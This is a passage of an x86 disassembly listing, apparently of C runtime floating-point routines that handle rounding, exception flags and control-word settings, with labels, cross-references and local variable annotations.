eax loc_422258: ; CODE XREF: ___:0042224Dj cmp dword ptr [ebp-8], 40h jge short loc_4222D7 mov ecx, [ebp-8] cmp dword_4DB460[ecx*4], 0 jz short loc_4222D2 mov edx, [ebp-8] mov eax, dword_4DB460[edx*4] mov [ebp-4], eax jmp short loc_422283 ; --------------------------------------------------------------------------- loc_42227A: ; CODE XREF: ___:loc_4222ADj mov ecx, [ebp-4] add ecx, 24h mov [ebp-4], ecx loc_422283: ; CODE XREF: ___:00422278j mov edx, [ebp-8] mov eax, dword_4DB460[edx*4] add eax, 480h cmp [ebp-4], eax jnb short loc_4222AF mov ecx, [ebp-4] cmp dword ptr [ecx+8], 0 jz short loc_4222AD mov edx, [ebp-4] add edx, 0Ch push edx nop call near ptr 2700770h loc_4222AD: ; CODE XREF: ___:0042229Ej jmp short loc_42227A ; --------------------------------------------------------------------------- loc_4222AF: ; CODE XREF: ___:00422295j push 2 mov eax, [ebp-8] mov ecx, dword_4DB460[eax*4] push ecx call sub_415860 add esp, 8 mov edx, [ebp-8] mov dword_4DB460[edx*4], 0 loc_4222D2: ; CODE XREF: ___:00422269j jmp loc_42224F ; --------------------------------------------------------------------------- loc_4222D7: ; CODE XREF: ___:0042225Cj mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4222E0 proc near ; CODE XREF: sub_418E70+13p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], 0 push 2 call sub_41B780 add esp, 4 mov [ebp+var_8], 3 jmp short loc_422309 ; --------------------------------------------------------------------------- loc_422300: ; CODE XREF: sub_4222E0:loc_4223A4j mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_422309: ; CODE XREF: sub_4222E0+1Ej mov ecx, [ebp+var_8] cmp ecx, dword_4DC7C0 jge loc_4223A9 mov edx, [ebp+var_8] mov eax, dword_4DB7AC cmp dword ptr [eax+edx*4], 0 jz short loc_4223A4 mov ecx, [ebp+var_8] mov edx, dword_4DB7AC mov eax, [edx+ecx*4] mov ecx, [eax+0Ch] and ecx, 83h test ecx, ecx jz short loc_422361 mov edx, [ebp+var_8] mov eax, dword_4DB7AC mov ecx, [eax+edx*4] push ecx call sub_414C60 add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_422361 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_422361: ; CODE XREF: sub_4222E0+5Dj ; sub_4222E0+76j cmp [ebp+var_8], 14h jl short loc_4223A4 mov eax, [ebp+var_8] mov ecx, dword_4DB7AC mov edx, [ecx+eax*4] add edx, 20h push edx call near ptr 2700770h nop push 2 mov eax, [ebp+var_8] mov ecx, dword_4DB7AC mov edx, [ecx+eax*4] push edx call sub_415860 add esp, 8 mov eax, [ebp+var_8] mov ecx, dword_4DB7AC mov dword ptr [ecx+eax*4], 0 loc_4223A4: ; CODE XREF: sub_4222E0+44j ; sub_4222E0+85j jmp loc_422300 ; --------------------------------------------------------------------------- loc_4223A9: ; CODE XREF: sub_4222E0+32j push 2 call sub_41B820 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4222E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4223C0(double) sub_4223C0 proc near ; CODE XREF: sub_418F70+C3p ; sub_419190+C3p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4223C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4223E0(int,double,int) sub_4223E0 proc near ; CODE XREF: sub_418F70+85p ; sub_419190+85p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_4445FC, 0 jnz short loc_422414 mov eax, [ebp+arg_C] push eax ; int mov ecx, [ebp+10h] push ecx mov edx, [ebp+arg_4] push edx ; double push 0 ; int push 0 ; int mov eax, [ebp+10h] push eax ; int mov ecx, [ebp+arg_4] push ecx ; int mov edx, [ebp+arg_0] push edx ; int push 1 ; int call sub_422E90 add esp, 24h jmp short loc_422433 ; --------------------------------------------------------------------------- loc_422414: ; CODE XREF: sub_4223E0+Aj call sub_420520 mov dword ptr [eax], 21h push 0FFFFh mov eax, [ebp+arg_C] push eax call sub_423320 add esp, 8 fld qword ptr [ebp+arg_4] loc_422433: ; CODE XREF: sub_4223E0+32j pop ebp retn sub_4223E0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 fld qword ptr [ebp+0Ch] fadd qword ptr [ebp+14h] fstp qword ptr [ebp-8] cmp dword_4445FC, 0 jnz short loc_422484 mov eax, [ebp+1Ch] push eax mov ecx, [ebp-4] push ecx mov edx, [ebp-8] push edx mov eax, [ebp+18h] push eax mov ecx, [ebp+14h] push ecx mov edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx push 1 call sub_422E90 add esp, 24h jmp short loc_4224A3 ; --------------------------------------------------------------------------- loc_422484: ; CODE XREF: ___:00422456j call sub_420520 mov dword ptr [eax], 21h push 0FFFFh mov edx, [ebp+1Ch] push edx call sub_423320 add esp, 8 fld qword ptr [ebp-8] loc_4224A3: ; CODE XREF: ___:00422482j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4224B0(int,int,int,int,double,int) sub_4224B0 proc near ; CODE XREF: sub_418F70+B1p ; sub_418F70+129p ... var_5C = byte ptr -5Ch var_24 = dword ptr -24h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch mov eax, [ebp+arg_18] push eax lea ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_0] push edx call sub_422B10 add esp, 0Ch test eax, eax jnz short loc_4224F6 mov eax, [ebp+var_24] and al, 0FEh mov [ebp+var_24], eax lea ecx, [ebp+arg_10] push ecx lea edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx lea edx, [ebp+arg_18] push edx lea eax, [ebp+var_5C] push eax call sub_422640 add esp, 18h loc_4224F6: ; CODE XREF: sub_4224B0+1Cj mov ecx, [ebp+arg_0] push ecx call sub_422FB0 add esp, 4 mov [ebp+var_4], eax cmp dword_4445FC, 0 jnz short loc_42253E cmp [ebp+var_4], 0 jz short loc_42253E mov edx, [ebp+arg_18] push edx ; int mov eax, dword ptr [ebp+arg_10+4] push eax mov ecx, dword ptr [ebp+arg_10] push ecx ; double push 0 ; int push 0 ; int mov edx, [ebp+arg_C] push edx ; int mov eax, [ebp+arg_8] push eax ; int mov ecx, [ebp+arg_4] push ecx ; int mov edx, [ebp+var_4] push edx ; int call sub_422E90 add esp, 24h jmp short loc_42255E ; --------------------------------------------------------------------------- loc_42253E: ; CODE XREF: sub_4224B0+5Cj ; sub_4224B0+62j mov eax, [ebp+var_4] push eax call sub_422F30 add esp, 4 push 0FFFFh mov ecx, [ebp+arg_18] push ecx call sub_423320 add esp, 8 fld [ebp+arg_10] loc_42255E: ; CODE XREF: sub_4224B0+8Cj mov esp, ebp pop ebp retn sub_4224B0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 5Ch mov eax, [ebp+28h] push eax lea ecx, [ebp+20h] push ecx mov edx, [ebp+8] push edx call sub_422B10 add esp, 0Ch test eax, eax jnz short loc_4225CE mov eax, [ebp-24h] or al, 1 mov [ebp-24h], eax mov ecx, [ebp-24h] and ecx, 0FFFFFFE1h or ecx, 2 mov [ebp-24h], ecx mov edx, [ebp+18h] mov [ebp-34h], edx mov eax, [ebp+1Ch] mov [ebp-30h], eax lea ecx, [ebp+20h] push ecx lea edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx lea edx, [ebp+28h] push edx lea eax, [ebp-5Ch] push eax call sub_422640 add esp, 18h loc_4225CE: ; CODE XREF: ___:0042258Cj mov ecx, [ebp+8] push ecx call sub_422FB0 add esp, 4 mov [ebp-4], eax cmp dword_4445FC, 0 jnz short loc_42261A cmp dword ptr [ebp-4], 0 jz short loc_42261A mov edx, [ebp+28h] push edx mov eax, [ebp+24h] push eax mov ecx, [ebp+20h] push ecx mov edx, [ebp+1Ch] push edx mov eax, [ebp+18h] push eax mov ecx, [ebp+14h] push ecx mov edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp-4] push ecx call sub_422E90 add esp, 24h jmp short loc_42263A ; --------------------------------------------------------------------------- loc_42261A: ; CODE XREF: ___:004225E4j ; ___:004225EAj mov edx, [ebp-4] push edx call sub_422F30 add esp, 4 push 0FFFFh mov eax, [ebp+28h] push eax call sub_423320 add esp, 8 fld qword ptr [ebp+20h] loc_42263A: ; CODE XREF: ___:00422618j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422640 proc near ; CODE XREF: sub_4224B0+3Ep ; ___:004225C6p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+8], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+0Ch], 0 mov eax, [ebp+arg_8] and eax, 10h test eax, eax jz short loc_422684 mov [ebp+var_4], 0C000008Fh mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx loc_422684: ; CODE XREF: sub_422640+2Cj mov ecx, [ebp+arg_8] and ecx, 2 test ecx, ecx jz short loc_4226A3 mov [ebp+var_4], 0C0000093h mov edx, [ebp+arg_0] mov eax, [edx+4] or al, 2 mov ecx, [ebp+arg_0] mov [ecx+4], eax loc_4226A3: ; CODE XREF: sub_422640+4Cj mov edx, [ebp+arg_8] and edx, 1 test edx, edx jz short loc_4226C3 mov [ebp+var_4], 0C0000091h mov eax, [ebp+arg_0] mov ecx, [eax+4] or ecx, 4 mov edx, [ebp+arg_0] mov [edx+4], ecx loc_4226C3: ; CODE XREF: sub_422640+6Bj mov eax, [ebp+arg_8] and eax, 4 test eax, eax jz short loc_4226E3 mov [ebp+var_4], 0C000008Eh mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, 8 mov eax, [ebp+arg_0] mov [eax+4], edx loc_4226E3: ; CODE XREF: sub_422640+8Bj mov ecx, [ebp+arg_8] and ecx, 8 test ecx, ecx jz short loc_422702 mov [ebp+var_4], 0C0000090h mov edx, [ebp+arg_0] mov eax, [edx+4] or al, 10h mov ecx, [ebp+arg_0] mov [ecx+4], eax loc_422702: ; CODE XREF: sub_422640+ABj mov edx, [ebp+arg_4] mov eax, [edx] and eax, 1 neg eax sbb eax, eax inc eax and eax, 1 shl eax, 4 mov ecx, [ebp+arg_0] mov edx, [ecx+8] and edx, 0FFFFFFEFh or edx, eax mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ecx] and edx, 4 neg edx sbb edx, edx inc edx and edx, 1 shl edx, 3 mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 0FFFFFFF7h or ecx, edx mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [eax] and ecx, 8 neg ecx sbb ecx, ecx inc ecx and ecx, 1 shl ecx, 2 mov edx, [ebp+arg_0] mov eax, [edx+8] and al, 0FBh or eax, ecx mov ecx, [ebp+arg_0] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [edx] and eax, 10h neg eax sbb eax, eax inc eax and eax, 1 shl eax, 1 mov ecx, [ebp+arg_0] mov edx, [ecx+8] and edx, 0FFFFFFFDh or edx, eax mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ecx] and edx, 20h neg edx sbb edx, edx inc edx and edx, 1 mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 0FFFFFFFEh or ecx, edx mov edx, [ebp+arg_0] mov [edx+8], ecx call sub_4232E0 mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, 1 test eax, eax jz short loc_4227D2 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] or edx, 10h mov eax, [ebp+arg_0] mov [eax+0Ch], edx loc_4227D2: ; CODE XREF: sub_422640+181j mov ecx, [ebp+var_8] and ecx, 4 test ecx, ecx jz short loc_4227EA mov edx, [ebp+arg_0] mov eax, [edx+0Ch] or al, 8 mov ecx, [ebp+arg_0] mov [ecx+0Ch], eax loc_4227EA: ; CODE XREF: sub_422640+19Aj mov edx, [ebp+var_8] and edx, 8 test edx, edx jz short loc_422803 mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] or ecx, 4 mov edx, [ebp+arg_0] mov [edx+0Ch], ecx loc_422803: ; CODE XREF: sub_422640+1B2j mov eax, [ebp+var_8] and eax, 10h test eax, eax jz short loc_42281C mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] or edx, 2 mov eax, [ebp+arg_0] mov [eax+0Ch], edx loc_42281C: ; CODE XREF: sub_422640+1CBj mov ecx, [ebp+var_8] and ecx, 20h test ecx, ecx jz short loc_422834 mov edx, [ebp+arg_0] mov eax, [edx+0Ch] or al, 1 mov ecx, [ebp+arg_0] mov [ecx+0Ch], eax loc_422834: ; CODE XREF: sub_422640+1E4j mov edx, [ebp+arg_4] mov eax, [edx] and eax, 0C00h mov [ebp+var_C], eax cmp [ebp+var_C], 800h ja short loc_422864 cmp [ebp+var_C], 800h jz short loc_42287E cmp [ebp+var_C], 0 jz short loc_4228A2 cmp [ebp+var_C], 400h jz short loc_422890 jmp short loc_4228AF ; --------------------------------------------------------------------------- loc_422864: ; CODE XREF: sub_422640+208j cmp [ebp+var_C], 0C00h jz short loc_42286F jmp short loc_4228AF ; --------------------------------------------------------------------------- loc_42286F: ; CODE XREF: sub_422640+22Bj mov ecx, [ebp+arg_0] mov edx, [ecx] or edx, 3 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_4228AF ; --------------------------------------------------------------------------- loc_42287E: ; CODE XREF: sub_422640+211j mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFFFFFCh or edx, 2 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_4228AF ; --------------------------------------------------------------------------- loc_422890: ; CODE XREF: sub_422640+220j mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFFFFFCh or edx, 1 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_4228AF ; --------------------------------------------------------------------------- loc_4228A2: ; CODE XREF: sub_422640+217j mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFFFFFCh mov eax, [ebp+arg_0] mov [eax], edx loc_4228AF: ; CODE XREF: sub_422640+222j ; sub_422640+22Dj ... mov ecx, [ebp+arg_4] mov edx, [ecx] and edx, 300h mov [ebp+var_10], edx cmp [ebp+var_10], 0 jz short loc_4228F8 cmp [ebp+var_10], 200h jz short loc_4228E6 cmp [ebp+var_10], 300h jz short loc_4228D7 jmp short loc_422908 ; --------------------------------------------------------------------------- loc_4228D7: ; CODE XREF: sub_422640+293j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE3h mov edx, [ebp+arg_0] mov [edx], ecx jmp short loc_422908 ; --------------------------------------------------------------------------- loc_4228E6: ; CODE XREF: sub_422640+28Aj mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE3h or ecx, 4 mov edx, [ebp+arg_0] mov [edx], ecx jmp short loc_422908 ; --------------------------------------------------------------------------- loc_4228F8: ; CODE XREF: sub_422640+281j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE3h or ecx, 8 mov edx, [ebp+arg_0] mov [edx], ecx loc_422908: ; CODE XREF: sub_422640+295j ; sub_422640+2A4j ... mov eax, [ebp+arg_C] and eax, 0FFFh shl eax, 5 mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFE001Fh or edx, eax mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+20h] or edx, 1 mov eax, [ebp+arg_0] mov [eax+20h], edx mov ecx, [ebp+arg_0] mov edx, [ecx+20h] and edx, 0FFFFFFE1h or edx, 2 mov eax, [ebp+arg_0] mov [eax+20h], edx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_10] mov eax, [edx] mov [ecx+10h], eax mov edx, [edx+4] mov [ecx+14h], edx mov eax, [ebp+arg_0] mov ecx, [eax+50h] or ecx, 1 mov edx, [ebp+arg_0] mov [edx+50h], ecx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE1h or ecx, 2 mov edx, [ebp+arg_0] mov [edx+50h], ecx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_14] mov edx, [ecx] mov [eax+40h], edx mov ecx, [ecx+4] mov [eax+44h], ecx call sub_423300 lea edx, [ebp+arg_0] push edx push 1 push 0 mov eax, [ebp+var_4] push eax nop call near ptr 28C077Ah mov ecx, [ebp+arg_0] mov edx, [ecx+8] shr edx, 4 and edx, 1 test edx, edx jz short loc_4229BD mov eax, [ebp+arg_4] mov ecx, [eax] and ecx, 0FFFFFFFEh mov edx, [ebp+arg_4] mov [edx], ecx loc_4229BD: ; CODE XREF: sub_422640+36Ej mov eax, [ebp+arg_0] mov ecx, [eax+8] shr ecx, 3 and ecx, 1 test ecx, ecx jz short loc_4229D9 mov edx, [ebp+arg_4] mov eax, [edx] and al, 0FBh mov ecx, [ebp+arg_4] mov [ecx], eax loc_4229D9: ; CODE XREF: sub_422640+38Bj mov edx, [ebp+arg_0] mov eax, [edx+8] shr eax, 2 and eax, 1 test eax, eax jz short loc_4229F6 mov ecx, [ebp+arg_4] mov edx, [ecx] and edx, 0FFFFFFF7h mov eax, [ebp+arg_4] mov [eax], edx loc_4229F6: ; CODE XREF: sub_422640+3A7j mov ecx, [ebp+arg_0] mov edx, [ecx+8] shr edx, 1 and edx, 1 test edx, edx jz short loc_422A12 mov eax, [ebp+arg_4] mov ecx, [eax] and ecx, 0FFFFFFEFh mov edx, [ebp+arg_4] mov [edx], ecx loc_422A12: ; CODE XREF: sub_422640+3C3j mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 1 test ecx, ecx jz short loc_422A2B mov edx, [ebp+arg_4] mov eax, [edx] and al, 0DFh mov ecx, [ebp+arg_4] mov [ecx], eax loc_422A2B: ; CODE XREF: sub_422640+3DDj mov edx, [ebp+arg_0] mov eax, [edx] and eax, 3 mov [ebp+var_14], eax cmp [ebp+var_14], 3 ja short loc_422A89 mov ecx, [ebp+var_14] jmp off_422AF1[ecx*4] loc_422A46: ; DATA XREF: ___:00422AFDo mov edx, [ebp+arg_4] mov eax, [edx] and ah, 0F3h or ah, 0Ch mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_422A89 ; --------------------------------------------------------------------------- loc_422A58: ; CODE XREF: sub_422640+3FFj ; DATA XREF: ___:00422AF9o mov edx, [ebp+arg_4] mov eax, [edx] and ah, 0F3h or ah, 8 mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_422A89 ; --------------------------------------------------------------------------- loc_422A6A: ; CODE XREF: sub_422640+3FFj ; DATA XREF: ___:00422AF5o mov edx, [ebp+arg_4] mov eax, [edx] and ah, 0F3h or ah, 4 mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_422A89 ; --------------------------------------------------------------------------- loc_422A7C: ; CODE XREF: sub_422640+3FFj ; DATA XREF: ___:off_422AF1o mov edx, [ebp+arg_4] mov eax, [edx] and ah, 0F3h mov ecx, [ebp+arg_4] mov [ecx], eax loc_422A89: ; CODE XREF: sub_422640+3FAj ; sub_422640+416j ... mov edx, [ebp+arg_0] mov eax, [edx] shr eax, 2 and eax, 7 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_422AAB cmp [ebp+var_18], 1 jz short loc_422ABD cmp [ebp+var_18], 2 jz short loc_422ACF jmp short loc_422ADC ; --------------------------------------------------------------------------- loc_422AAB: ; CODE XREF: sub_422640+45Bj mov ecx, [ebp+arg_4] mov edx, [ecx] and dh, 0F3h or dh, 3 mov eax, [ebp+arg_4] mov [eax], edx jmp short loc_422ADC ; --------------------------------------------------------------------------- loc_422ABD: ; CODE XREF: sub_422640+461j mov ecx, [ebp+arg_4] mov edx, [ecx] and dh, 0F3h or dh, 2 mov eax, [ebp+arg_4] mov [eax], edx jmp short loc_422ADC ; --------------------------------------------------------------------------- loc_422ACF: ; CODE XREF: sub_422640+467j mov ecx, [ebp+arg_4] mov edx, [ecx] and dh, 0F3h mov eax, [ebp+arg_4] mov [eax], edx loc_422ADC: ; CODE XREF: sub_422640+469j ; sub_422640+47Bj ... mov ecx, [ebp+arg_0] mov edx, [ebp+arg_14] mov eax, [ecx+40h] mov [edx], eax mov ecx, [ecx+44h] mov [edx+4], ecx mov esp, ebp pop ebp retn sub_422640 endp ; --------------------------------------------------------------------------- off_422AF1 dd offset loc_422A7C ; DATA XREF: sub_422640+3FFr dd offset loc_422A6A dd offset loc_422A58 dd offset loc_422A46 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422B10 proc near ; CODE XREF: sub_4224B0+12p ; ___:00422582p var_44 = dword ptr -44h var_40 = qword ptr -40h var_38 = qword ptr -38h var_30 = qword ptr -30h var_28 = qword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = qword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 44h mov eax, [ebp+arg_0] and eax, 1Fh mov [ebp+var_4], eax mov ecx, [ebp+arg_0] and ecx, 8 test ecx, ecx jz short loc_422B4A mov edx, [ebp+arg_8] and edx, 1 test edx, edx jz short loc_422B4A push 1 call sub_423360 add esp, 4 mov eax, [ebp+var_4] and al, 0F7h mov [ebp+var_4], eax jmp loc_422E4E ; --------------------------------------------------------------------------- loc_422B4A: ; CODE XREF: sub_422B10+17j ; sub_422B10+21j mov ecx, [ebp+arg_0] and ecx, 4 test ecx, ecx jz short loc_422B75 mov edx, [ebp+arg_8] and edx, 4 test edx, edx jz short loc_422B75 push 4 call sub_423360 add esp, 4 mov eax, [ebp+var_4] and al, 0FBh mov [ebp+var_4], eax jmp loc_422E4E ; --------------------------------------------------------------------------- loc_422B75: ; CODE XREF: sub_422B10+42j ; sub_422B10+4Cj mov ecx, [ebp+arg_0] and ecx, 1 test ecx, ecx jz loc_422CF1 mov edx, [ebp+arg_8] and edx, 8 test edx, edx jz loc_422CF1 push 8 call sub_423360 add esp, 4 mov eax, [ebp+arg_8] and eax, 0C00h mov [ebp+var_20], eax cmp [ebp+var_20], 800h ja short loc_422BD0 cmp [ebp+var_20], 800h jz short loc_422C25 cmp [ebp+var_20], 0 jz short loc_422BE2 cmp [ebp+var_20], 400h jz loc_422C65 jmp loc_422CE3 ; --------------------------------------------------------------------------- loc_422BD0: ; CODE XREF: sub_422B10+9Dj cmp [ebp+var_20], 0C00h jz loc_422CA5 jmp loc_422CE3 ; --------------------------------------------------------------------------- loc_422BE2: ; CODE XREF: sub_422B10+ACj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_434140 fnstsw ax test ah, 41h jnz short loc_422C07 mov edx, dword ptr dbl_444208 mov dword ptr [ebp+var_28], edx mov eax, dword ptr dbl_444208+4 mov dword ptr [ebp+var_28+4], eax jmp short loc_422C12 ; --------------------------------------------------------------------------- loc_422C07: ; CODE XREF: sub_422B10+E2j fld dbl_444208 fchs fstp [ebp+var_28] loc_422C12: ; CODE XREF: sub_422B10+F5j mov ecx, [ebp+arg_4] mov edx, dword ptr [ebp+var_28] mov [ecx], edx mov eax, dword ptr [ebp+var_28+4] mov [ecx+4], eax jmp loc_422CE3 ; --------------------------------------------------------------------------- loc_422C25: ; CODE XREF: sub_422B10+A6j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_434140 fnstsw ax test ah, 41h jnz short loc_422C4A mov edx, dword ptr dbl_444208 mov dword ptr [ebp+var_30], edx mov eax, dword ptr dbl_444208+4 mov dword ptr [ebp+var_30+4], eax jmp short loc_422C55 ; --------------------------------------------------------------------------- loc_422C4A: ; CODE XREF: sub_422B10+125j fld dbl_444218 fchs fstp [ebp+var_30] loc_422C55: ; CODE XREF: sub_422B10+138j mov ecx, [ebp+arg_4] mov edx, dword ptr [ebp+var_30] mov [ecx], edx mov eax, dword ptr [ebp+var_30+4] mov [ecx+4], eax jmp short loc_422CE3 ; --------------------------------------------------------------------------- loc_422C65: ; CODE XREF: sub_422B10+B5j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_434140 fnstsw ax test ah, 41h jnz short loc_422C8A mov edx, dword ptr dbl_444218 mov dword ptr [ebp+var_38], edx mov eax, dword ptr dbl_444218+4 mov dword ptr [ebp+var_38+4], eax jmp short loc_422C95 ; --------------------------------------------------------------------------- loc_422C8A: ; CODE XREF: sub_422B10+165j fld dbl_444208 fchs fstp [ebp+var_38] loc_422C95: ; CODE XREF: sub_422B10+178j mov ecx, [ebp+arg_4] mov edx, dword ptr [ebp+var_38] mov [ecx], edx mov eax, dword ptr [ebp+var_38+4] mov [ecx+4], eax jmp short loc_422CE3 ; --------------------------------------------------------------------------- loc_422CA5: ; CODE XREF: sub_422B10+C7j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_434140 fnstsw ax test ah, 41h jnz short loc_422CCA mov edx, dword ptr dbl_444218 mov dword ptr [ebp+var_40], edx mov eax, dword ptr dbl_444218+4 mov dword ptr [ebp+var_40+4], eax jmp short loc_422CD5 ; --------------------------------------------------------------------------- loc_422CCA: ; CODE XREF: sub_422B10+1A5j fld dbl_444218 fchs fstp [ebp+var_40] loc_422CD5: ; CODE XREF: sub_422B10+1B8j mov ecx, [ebp+arg_4] mov edx, dword ptr [ebp+var_40] mov [ecx], edx mov eax, dword ptr [ebp+var_40+4] mov [ecx+4], eax loc_422CE3: ; CODE XREF: sub_422B10+BBj ; sub_422B10+CDj ... mov ecx, [ebp+var_4] and ecx, 0FFFFFFFEh mov [ebp+var_4], ecx jmp loc_422E4E ; --------------------------------------------------------------------------- loc_422CF1: ; CODE XREF: sub_422B10+6Dj ; sub_422B10+7Bj mov edx, [ebp+arg_0] and edx, 2 test edx, edx jz loc_422E4E mov eax, [ebp+arg_8] and eax, 10h test eax, eax jz loc_422E4E mov [ebp+var_8], 0 mov ecx, [ebp+arg_0] and ecx, 10h test ecx, ecx jz short loc_422D25 mov [ebp+var_8], 1 loc_422D25: ; CODE XREF: sub_422B10+20Cj mov edx, [ebp+arg_4] fld qword ptr [edx] fcomp dbl_434140 fnstsw ax test ah, 40h jnz loc_422E2E lea eax, [ebp+var_18] push eax ; int mov ecx, [ebp+arg_4] mov edx, [ecx+4] push edx mov eax, [ecx] push eax ; double call sub_4231A0 add esp, 0Ch fstp [ebp+var_10] mov ecx, [ebp+var_18] sub ecx, 600h mov [ebp+var_14], ecx cmp [ebp+var_14], 0FFFFFBCEh jge short loc_422D81 fld [ebp+var_10] fmul dbl_434140 fstp [ebp+var_10] mov [ebp+var_8], 1 jmp loc_422E1E ; --------------------------------------------------------------------------- loc_422D81: ; CODE XREF: sub_422B10+257j fld [ebp+var_10] fcomp dbl_434140 fnstsw ax test ah, 1 jz short loc_422D9A mov [ebp+var_44], 1 jmp short loc_422DA1 ; --------------------------------------------------------------------------- loc_422D9A: ; CODE XREF: sub_422B10+27Fj mov [ebp+var_44], 0 loc_422DA1: ; CODE XREF: sub_422B10+288j mov edx, [ebp+var_44] mov [ebp+var_1C], edx mov ax, word ptr [ebp+var_10+6] and ax, 0Fh mov word ptr [ebp+var_10+6], ax mov cx, word ptr [ebp+var_10+6] or cl, 10h mov word ptr [ebp+var_10+6], cx jmp short loc_422DC9 ; --------------------------------------------------------------------------- loc_422DC0: ; CODE XREF: sub_422B10+2FEj mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx loc_422DC9: ; CODE XREF: sub_422B10+2AEj cmp [ebp+var_14], 0FFFFFC03h jge short loc_422E10 mov eax, dword ptr [ebp+var_10] and eax, 1 test eax, eax jz short loc_422DE9 cmp [ebp+var_8], 0 jnz short loc_422DE9 mov [ebp+var_8], 1 loc_422DE9: ; CODE XREF: sub_422B10+2CAj ; sub_422B10+2D0j mov ecx, dword ptr [ebp+var_10] shr ecx, 1 mov dword ptr [ebp+var_10], ecx mov edx, dword ptr [ebp+var_10+4] and edx, 1 test edx, edx jz short loc_422E06 mov eax, dword ptr [ebp+var_10] or eax, 80000000h mov dword ptr [ebp+var_10], eax loc_422E06: ; CODE XREF: sub_422B10+2E9j mov ecx, dword ptr 